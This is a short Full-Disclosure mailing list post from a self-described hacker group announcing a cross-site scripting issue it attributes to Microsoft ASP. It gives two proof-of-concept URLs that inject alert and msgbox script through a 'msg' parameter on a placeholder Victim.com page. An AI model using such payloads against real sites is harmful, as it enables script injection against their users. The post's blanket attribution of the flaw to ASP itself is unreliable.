[Full-disclosure] New XSS attack to Microsoft service(ASP)

[saied hackeriran]

                 In THe Name Of God
Group:HackeranShiraz
Discoverer:SaiedHacker
/*'============================================*/
We have found a security problem in Microsoft service(ASP).
This problem is a type of XSS attack and occurs while processing The information.
We can cause the problem by a simple (script)code.
/*'============================================*/
Exploit:
Http://www.Victim.com/message.asp?msg=<script>alert("SaiedHacker");</script>

Http://www.Victim.com/message.asp?msg=<script%20language=_vbscript_>msgbox("SaiedHacker")</script>
/*'===========================================*/
Have time of your life
[EMAIL PROTECTED]
www.SaiedHackerPro.persianBlog.com

---

Yahoo! Mail
Bring photos to life! New PhotoMail makes sharing a breeze.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/